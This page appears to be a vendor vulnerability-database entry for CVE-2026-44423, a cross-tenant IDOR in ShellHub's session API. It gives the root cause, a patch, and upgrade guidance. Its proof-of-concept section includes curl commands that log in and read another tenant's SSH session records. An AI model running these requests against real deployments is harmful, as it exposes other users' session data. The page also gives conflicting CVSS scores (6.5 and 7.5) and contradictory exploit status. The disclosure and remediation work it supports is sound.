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MEDIUM severity

CVE-2026-44423 — shellhub

MEDIUM

CVE-2026-44423 is a medium-severity (CVSS 6.5) CWE-639 vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.

ShellHub: Cross-tenant IDOR in `GET /api/sessions/:uid` discloses SSH session data

Also known asGHSA-9w9c-9w8m-w89qGO-2026-5302
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44423.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk
0.00%0.28%0.57%0.85%0.0%0.2%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/shellhub-io/shellhub

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639

Affected versions

ShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as GetDevice). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.

Root cause

api/services/session.go:37-44 — GetSession resolves the session by UID without any tenant filter:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}

The Authorize middleware only verifies presence of a tenant in the context, not ownership of the requested session.

Proof of concept

Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

# Attempt cross-tenant read
curl -i "http://target/api/sessions/<victim-session-uid>" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full session JSON

Impact

  • Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), started_at / last_seen timestamps.
  • Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.

Suggested fix

api/services/session.go — apply InNamespace in GetSession:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...)
    ...
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/shellhub-io/shellhuball versions0.24.2go get github.com/shellhub-io/shellhub@v0.24.2

Affected Products

1 product · 1 configurations
Application
shellhubshellhub
< 0.24.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44423 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary `GET /api/sessions/:uid` returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace. ## Severity **CVSS 3.1: 7.5 (High)** CWE-639 ## Affected versions ShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as `GetDevice`). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis. ## Root
O3 Security · Impact-Aware SCA

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CVE-2026-44423: shellhub — Fixed in 0.24.2